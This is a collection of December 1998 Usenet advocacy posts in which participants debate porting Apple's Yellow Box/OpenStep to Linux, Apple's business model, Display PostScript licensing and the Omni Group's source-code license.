References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982332450001@news> <bholderness-0912981333440001@207-172-95-190.s63.as1.dwt.erols.com> <1djrups.7wyjag1f708byN@roxboro0-007.dyn.interpath.net> <bholderness-1012981739150001@207-172-95-200.s9.as2.dwt.erols.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
WIlliam Holderness <bholderness@erols.remove.this.com> wrote:
> But the Mac OS IS short of applications, or, at least that is the
> reasoning behind the NT justification of most IS managers. So no mater if
> it is actual or percived, making YB THE defacto standard for portable
> compiled applications would benifit Apple greatly.
Addressing the underlying misapprehension that Mac OS is short of apps,
might be quicker and better (and since it's directly the problem
addressing it directly would be better than hoping that doing a Linux
port would change that impression).
> Rest assured that Carbonized versions of AppleWorks & FileMaker allready
> exist, Carbonizing most apps is a no brainer. As for Emailer we can only
> hope (allthough it runs in BB).
I no longer "rest assured" about anything concerning Apple -- I've
waited 10 years for protected memory and a crashless mac, I've seen them
switch directions apparently on the drop of a dime and leave
technologies hanging in the air until they died on the vine.
> I don't think that there will be a rush of MacOS API to YB ports, firstoff
> there is not a burning reason to do so. Second, hundreds of thousands (or
> even millions on the larger apps) of lines of code are EXPENSIVE to
> rewrite. I don't think untill there is a from scratch re-write that most
> apps will get moved to YB.
I don't expect it either -- it wouldn't surprise me to learn that most
people waiting for MacOSX to ship before Carbonizing.
> My original point was Apple & Apple users gain little or nothing from a
> Carbon for (Intel) Linux and that it would be dificult to do (though some
> of the StarWars code might be able to be used). YB for Linux would be
> relativly simple and would yield great benifits, both actual & percived,
> for Apple users & Apple.
I think for current developers what Apple needs to show is focus and
commitment (and most importantly of all - an actual product). And their
current developers are more important than getting a bunch of free
alternatives to programs that already exist.
In fact insofar as it would indicate that they were failing about again
I'd think that an announcement that they were working on a Linux port
would be bad (of course if they've got a couple of guys in the back room
working on it and plan are announcing it when it's ready that would be a
different matter).
--
John Moreno
From: malcolm@plsys.co.uk
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Thu, 10 Dec 1998 22:55:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74pjho$7k9$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <366E28DA.7541CD0B@trilithon.com> <anarkhos-ya02408000R0912980058290001@news>
In article <anarkhos-ya02408000R0912980058290001@news>,
anarkhos@anarchism.orgy (strobe) wrote:
> In article <366E28DA.7541CD0B@trilithon.com>, Henry McGilton
> <henry@trilithon.com> wrote:
>
> > strobe wrote:
> > * Regarding the idea of yellow box for Linux.
> > * 1) Yellow box isn't going to be free.
> > Where do you get your information from? You have a private and
> > personal conduit into Apple these days?
>
> Every OpenStep developer knows stepwise.
>
Thanks for the kudos.
> This information isn't private, I have no idea where you got that
> idea from. If you can't do the research yourself don't expect me
> to do it for you.
>
You're both right: the YB runtimes are initially expected to cost money,
however at a later stage, notably when the display model is changed, the
runtime is expected to be free.
> Well you're certainly making a case NOT to port YB to Linux, thanks.
> Not only will Apple save money, they will save being jeered at by
> morons like yourself.
>
I'll admit I was a little surprised by the tone of Henry's response, however
I think you should take a look at his credentials before calling him a
"moron".
Best wishes,
mmalc.
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From: malcolm@plsys.co.uk
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Thu, 10 Dec 1998 23:02:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74pju7$7pv$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <74liso$npc$1@nnrp1.dejanews.com> <366EB82B.98E52CE7@trilithon.com> <anarkhos-ya02408000R0912981629510001@news>
In article <anarkhos-ya02408000R0912981629510001@news>,
anarkhos@anarchism.orgy (strobe) wrote:
> [blahblah]
> 2 cents...
>
Hmm, less than that I'd say...
> Apple is dumping DPS. Adobe made it VERY clear they want DPS to DIE.
> Nobody is quite sure what will be used in MacOS X, however Apple made it
> clear DPS calls will not be supported. One good thing about ghostscript
> is OpenStep developers wanting to port their applications to YB and use
> DPS calls will have a cheap method to cross the gap.
>
Umm, OpenStep developers porting (insofar as porting is required) their
applications to YB can do so right now, since right now YB uses DPS. What
will be interesting is how easy it is to port to the next incarnation of YB
with the new imaging system, sans DPS interpreter. If developers stick to
direct psxxxxx commands, and in particular use the object abstractions such
as NSBezier, then should have no problems porting whatsoever.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 15:28:09 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn770m89.3qt.jedi@dementia.mishnet>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982332450001@news> <bholderness-0912981333440001@207-172-95-190.s63.as1.dwt.erols.com> <1djrups.7wyjag1f708byN@roxboro0-007.dyn.interpath.net> <bholderness-1012981739150001@207-172-95-200.s9.as2.dwt.erols.com> <1dju1kh.1v278mr4j9uioN@roxboro0-003.dyn.interpath.net>
On Thu, 10 Dec 1998 18:12:28 -0500, John Moreno <phenix@interpath.com> wrote:
>WIlliam Holderness <bholderness@erols.remove.this.com> wrote:
>
>> But the Mac OS IS short of applications, or, at least that is the
>> reasoning behind the NT justification of most IS managers. So no mater if
>> it is actual or percived, making YB THE defacto standard for portable
>> compiled applications would benifit Apple greatly.
>
>Addressing the underlying misapprehension that Mac OS is short of apps,
>might be quicker and better (and since it's directly the problem
>addressing it directly would be better than hoping that doing a Linux
>port would change that impression).
A linux port would provide access to a large progressive
& significant segment of the market. It would also provide
any Linux user with a nice easy path over to Apple hardware
where their main edge and profit margin are supposed to be.
It addresses the 'hardware gulf' problem in a useful way to
the segment of the market most likely to listen.
[deletia]
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 16:25:18 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R1012981625180001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <74nkgv$f1p$19@blue.hex.net>
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> >a. What is it that Apple would be selling to run their business ?
>
> Applications written using YB.
>
Apple is a hardware company. They don't make money selling software.
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Thu, 10 Dec 1998 17:06:04 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R1012981706040001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <366E28DA.7541CD0B@trilithon.com> <anarkhos-ya02408000R0912980058290001@news> <74nj09$bfn$1@news.digifix.com>
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> Just to clarify..
>
> YB won't be free until we get rid of the encumberance of
> DPS/Adobe.
Just to CLARIFY Adobe is not the only body that owns technology in YB.
There is also UNISYS and PANTONE.
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 1998 01:26:38 GMT
Organization: Indiana University, Bloomington
Message-ID: <74psce$ocp$1@jetsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74nkgv$f1p$19@blue.hex.net> <anarkhos-ya02408000R1012981625180001@news> <367068E7.33C9E208@ericsson.com>
In article <367068E7.33C9E208@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
>strobe wrote:
>
>> Apple is a hardware company. They don't make money selling software.
>
>Then why do they sell software?
>
>Assertion #1 is that "[Apple] don't make money selling software". If you
>would care to add something to that in your explanation, feel free. I'm
>very interested to see your rationale.
>
>MJP
Apple doesn't make *much* money selling software, compared to their
hardware sales.
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 11 Dec 1998 01:31:11 GMT
Organization: San Diego State University
Message-ID: <74pskv$dng$1@hole.sdsu.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <74nkgv$f1p$19@blue.hex.net> <anarkhos-ya02408000R1012981625180001@news> <367068E7.33C9E208@ericsson.com> <anarkhos-ya02408000R1012981730030001@news>
strobe (anarkhos@anarchism.orgy) wrote:
: Apple has always sold hardware since day 1, and software as a freebee to
: sell the hardware. When Apple bought Claris they lost money. MacOS sales do
: not cover development costs. Apple doesn't and never did make money selling
: MacOS licences, it only ate into their hardware sales.
Which rather begs the question, "why in God's name did Apple ever license
their OS in the first place?"
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
------------------------------------------------
Illa gravis oculos conata attollere rursus
deficit; infixum stridit sub pectore vulnus.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 1998 03:22:44 GMT
Organization: Primenet (602)416-7000
Message-ID: <74q364$6ns$1@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102>
<DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <74nkgv$f1p$19@blue.hex.net> <anarkhos-ya02408000R1012981625180001@news> <367068E7.33C9E208@ericsson.com>
<anarkhos-ya02408000R1012981730030001@news> <74pskv$dng$1@hole.sdsu.edu>
tomlinson <etomlins@rohan.sdsu.edu> wrote:
: strobe (anarkhos@anarchism.orgy) wrote:
: : Apple has always sold hardware since day 1, and software as a freebee
: : to sell the hardware. When Apple bought Claris they lost money. MacOS
: : sales do not cover development costs. Apple doesn't and never did make
: : money selling MacOS licences, it only ate into their hardware sales.
: Which rather begs the question, "why in God's name did Apple ever license
: their OS in the first place?"
To break out of their niche. The conventional wisdom of the day was that
the Mac needed multiple sources of supply to compete with Windows. If you
remove that goal, you no longer need multiple sources.
It's interesting that the "war is over" speach came so close to the
"clones are leaches" speach.
Returning to the theme: Sure, now that Apple has a clear hardware focus,
their software development should support that. Apple software, whether
OSes or applications, should be cheap and sexy ... in order to stimulate
hardware sales.
Johm
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 19:21:17 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R1012981921170001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <74nkgv$f1p$19@blue.hex.net> <anarkhos-ya02408000R1012981625180001@news> <367068E7.33C9E208@ericsson.com> <anarkhos-ya02408000R1012981730030001@news> <74pskv$dng$1@hole.sdsu.edu>
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> Which rather begs the question, "why in God's name did Apple ever license
> their OS in the first place?"
>
Like Jobs said, they shouldn't have. Apple trying to follow the PC model
is suicide. The more they differentiate themselves from PCs the better.
From: far_no@spam.ix.netcom.com(Felipe A. Rodriguez)
Newsgroups: gnu.gnustep.discuss,comp.sys.next.advocacy
Subject: Re: Proposal (fwd) (OmniFrameworks source)
Date: 11 Dec 1998 03:25:52 GMT
Organization: ICGNetcom
Message-ID: <74q3c0$eq8@sjx-ixn8.ix.netcom.com>
References: <Pine.LNX.3.96.981210215703.19490A-100000@freelove.mindspring.net>
In article <Pine.LNX.3.96.981210215703.19490A-100000@freelove.mindspring.net>
stevensl@mindspring.net (steven) writes:
>Hi gang
>
> In response to the recent thread on 'killer apps' i emailed OmniGroup
>asking them about GNUstep and their possible commitment to it. Here is
>the response...
>
>----------------------
>
>Steven,
>
>Thank you for your proposal. I've been following GNUstep's progress
>with interest for some time, and I have some news which might
>interest you: We just released the source code to most of our
>frameworks; porting those frameworks to GNUstep would go a long ways
>towards bringing Omni's applications to GNUstep.
>
>For more information on our source code release, see
>http://www.omnigroup.com/DeveloperResources/.
>
> Ken
>
First I have to say that I have the deepest respect and gratitude
to the folks at Omni without whom NeXTStep would be a much more
difficult option (if even a viable one). I laud them for their
fine gesture, but this license conflicts with the concept of
"Open Source" in a fundamental way. I'm not sure we're going to
find volunteers to port this if the result cannot be distributed.
In this case the resultant code does not then belong to the
community but is instead the property of Omni.
_
Omni Source Code software is available from Omni Development on their web site at
www.omnigroup.com.
1. Omni Development gives you permission to make verbatim copies of Omni Source Code
software (the "Software") without restriction, so long as your copies include a copy of
this open permission, and all of the original copyright notices and associated
disclaimers.
2. You may not distribute modified source code, but you may distribute patches and
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
modified binary code, provided that you:
>
>All i can say? Kick Ass.. i think this is exactly the type of
>support we, the GNUstep community, needs from the NextStep/OpenStep
>commercial entities. Now lets step up and see what we can do with it..
>
>Steven
>403forbidden.ner
--
Felipe A. Rodriguez # Francesco Sforza became Duke of Milan from
Agoura Hills, CA # being a private citizen because he was
# armed; his successors, since they avoided
far@ix.netcom.com # the inconveniences of arms, became private
(NeXTmail preferred) # citizens after having been dukes.
(MIMEmail welcome) # --Nicolo Machiavelli
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 1998 04:27:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74q704$687@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost>
On 10 Dec 98 20:41:20 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>On Thu, 10 Dec 1998 04:33:29, sal@panix.com (Sal Denaro) thought
>aloud:
>> On 9 Dec 98 18:05:19 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> And what is the difference between an Apple version of Linux running
>> YB and an Apple version of BSD (based on the OpenSourced BSD4.4 code
>> that is also using in FreeBSD/NetBSD and OpenBSD (as well as BSDI,
>> AIX and a few other Unix OS products)) running YB?
>Eh, I'll try... the former allows users to run YB apps under Linux
>environment while the latter does the same but under Apple's version
>of BSD (background check above) environment instead.
>
>Now tell me, what kind of differences between Linux and the BSD-based
>environments are you looking for, and what's the relevance of it?
The fact that there are so few differences is the point.
>> Is the ability to point to your box and say it is running Linux more
>> important than the ability to point to your box and say that it running
>> an open standards based Unix OS?
>I don't personally use such pointing abilities. But at the moment it
>certainly looks like Linux has considerably more momentum and
>mindshare than some/any other "open standards based Unix OS".
Apple is going to have to build momentum and mindshare for YB no
matter what unix is is running one. Do you think Linux user will just
forget about GNOME and KDE if YB is ported?
>Better app support, wider
>hardware support, quickly improving OS, gimme Linux. You want one of
>the *BSD's? That's perfectly okay with me.
No, I want YB. What it is running on is besides the point, as long as
it is a decent open standards based Unix.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 1998 04:27:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74q705$687@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <74nkgv$f1p$19@blue.hex.net> <anarkhos-ya02408000R1012981625180001@news>
On Thu, 10 Dec 1998 16:25:18 -0800, strobe <anarkhos@anarchism.orgy> wrote:
>> >a. What is it that Apple would be selling to run their business ?
>> Applications written using YB.
> Apple is a hardware company. They don't make money selling software.
Apple is _not_ a software company. Apple is _not_ a hardware company.
Apple is a systems company, they make their money selling an integrated
hardware/software package.
In time Apple may become a software company with a systems division.
Message-ID: <3670A26C.6E69C31E@nstar.net>
Date: Thu, 10 Dec 1998 22:41:16 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com>
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Sal Denaro wrote:
> The fact that there are so few differences is the point.
The difference is that one has a large installed base and the other
doesn't. It doesn't matter how similar they are.
> Apple is going to have to build momentum and mindshare for YB no
> matter what unix is is running one. Do you think Linux user will just
> forget about GNOME and KDE if YB is ported?
BSD runs both environments just fine. Will BSD users forget about these
two environments? Does it matter?
> No, I want YB. What it is running on is besides the point, as long as
> it is a decent open standards based Unix.
What I want is YB running on my machine. My machine runs Linux, and will
keep running Linux. I would switch to another operating system for a lot
of reasons, but YB isn't one of them.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <adtF3sBG8.Jss@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <slrn770lik.3ps.jedi@dementia.mishnet>
Date: Fri, 11 Dec 1998 05:04:56 GMT
Sender: adt@netcom5.netcom.com
jedi@dementia.mishnet wrote:
: Anthony D. Tribelli <adt@netcom.com> wrote:
: >It's true that the business folks are now becoming aware of Linux, but
: >this pales in comparison to the fact that the business folks have been
: >using NeXTSTEP for years. Rhapsody/MacOS X being clearly derived from
: >NeXTSTEP is more advantageous in the business world.
: >
: >Regarding more casual users, I think that Linux advocates tend to
: >seriously overestimate the degree that users care where capabilites come
: >from. If Apple delivers the power of UNIX with a MacOS GUI, the ability to
: >run UNIX apps/tools alongside shrinkwrapped retail apps, then I think such
: >users will be happy.
:
: Historically, however, that has not been the case. They have
: waited for MonopolySoft to deliver that functionality to them.
: This has resulted in a huge userbase for XT clones and wiped
: or nearly wiped out everything else. Macs have a considerable
: marketing inertia to overcome just as hardware even ignoring
: the OS even once they get over the OS diversity thing.
:
: People already interested in Unix already have all manner
: of Unix boxes already at their disposal with stiff competition
: at the lowend from the Intel Unixen.
True, but it is the ability to run the shrinkwrapped retail software
alongside UNIX apps/tools that would differentiate MacOS X. Also, the
price/performance ratio might be interesting. Macs are using the same CPU
family as some IBM RS/6000 models.
: >Please note your 'as well'. If the apps also run on Rhapsody/MacOS X that
: >is all that matters. Also note that Apple may very well become the
: >dominant UNIX vendor as they already have become the dominant RISC vendor.
:
: That's an interesting way to spin the fact that they are
: on the bottom of the lowend user workstation market and
: still fading.
Actually it's an interesting way to show how small the UNIX workstation
market is and how Apple could become a player with a properly configured
system. More on this below. Also, the 'fading' bit is old news, there's
actually growth again, but I don't really want to get into that. There's
thousands of pre-existing threads and flamewars that neither of us can
probably add to. :-)
: All the other RISC vendors are servicing an entirely different
: group of users.
Currently Apple's problems in this regard are more software than hardware.
MacOS X could change that. Now consider the fact that a high degree of
commonality with consumer oriented machines could generate cost reductions
that Sun and SGI dream of. I'm not suggesting the high-end Sun and SGI
machines would be threatened but many people have purchased a Sun
workstation when all they really wanted was a general purpose UNIX
workstation. Today Linux is 'stealing' many of these users due to
tremendous cost savings. Tomorrow MacOS X could be doing this as well.
Now add the Linux users who are not politically/philosophically/religously
attached to Linux and may prefer a friendlier user interface and/or
shrinkwrapped retail apps without having to dual boot, add the folks who
were interested in UNIX but were scared off by Linux's by-nerds-for-nerds
attitude, ...
I'm not predicting that any of the above will happen. I'm just arguing
that it is a bit premature to say that MacOS X can't enter the UNIX
market.
: >In any case when MacOS X is the shipping OS on all Macs then UNIX app
: >vendors are sure to go after this huge potential market of end users. Note
: >my use of 'end users'. The general interest in Linux you've referred to
: >may be more for servers than end user workstations.
:
: That's presuming of course that their applications would
: require less trouble to port to Rhapsody vs. Linux/BSD.
Lots of open source software is already running on Rhapsody.
: Run your Oracle server on a Macintosh won't likely sell
: well to Oracle marketing or Oracle marketing's customers.
That's why you play up the NExTSTEP heritage of the core OS. :-)
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Why it is inevitable that Apple will become a Linux company
Message-ID: <199811251822391661978@mp-40-112.daxnet.no>
References: <72qhlo$gs2$1@nnrp1.dejanews.com> <johnc-1611982004130001@pppsl1041.chicagonet.net> <72qr43$3kj$1@fir.prod.itd.earthlink.net> <bholderness-1811981530000001@207-172-95-180.s53.as1.dwt.erols.com> <14C44EC81D75CB41.20941B0A27B3D88F.E3FF30CB25C20D39@library-proxy.airnews.net> <36543fbc.5998414@news.chicagonet.net> <adtF2pD5w.BJw@netcom.com> <734qin$f2o$1@plo.sierra.com> <adtF2rCJr.MFB@netcom.com> <36570ce8.0@news1.ibm.net> <73agp7$bfh$1@news01.btx.dtag.de>
Mime-Version: 1.0
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Date: Mon, 07 Dec 1998 15:47:59 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 00:47:59 JST
Organization: Global Online Japan
Lars Träger <Fam.Traeger@t-online.de> wrote:
> Reposted in comp.sys.next.advocacy
> Yves R. Crevecoeur <creveco@ibm.net> wrote:
> > adt@netcom.com (Anthony D. Tribelli) :
> > > Earl Malmrose (earl.malmrose@nospam.sierra.com) wrote:
> > > : Anthony D. Tribelli wrote in message ...
[SNIP]
> >
> > Apple should just port OpenStep to Linux and just sell that!
> >
> > With all the brains out there working on Linux, Apple would be guaranteed
> > that they would not get left behind in the dust again like they did with the
> > MacOS!
They have plenty of brains right where they are. The Mac OS fell behind
for a lot of other reasons. Management, Copland and M$ are some of them.
It was a bad core, and it couldn`t be fixed. If anyone had the guts,
they`d add inconvenience, but then M$ could have run over them pretty
quickly.
> >
> >
> > When you think about it, Apple got into trouble with the MacOS because
> > the it was very difficult to make the ToolBox re-entrant so what do they
> > do, they buy NeXT which is re-entrant but does not support SMP and is
> > very difficult to make it support SMP, so what will they do now?
Hummmmm..... Do you know what Mach 3.0 is? Do you know that they are
working on making just about everything in the OS thread-safe?
OPENSTEP/Rhapsody/Mac OS X could relatively easily be made to do SMP,
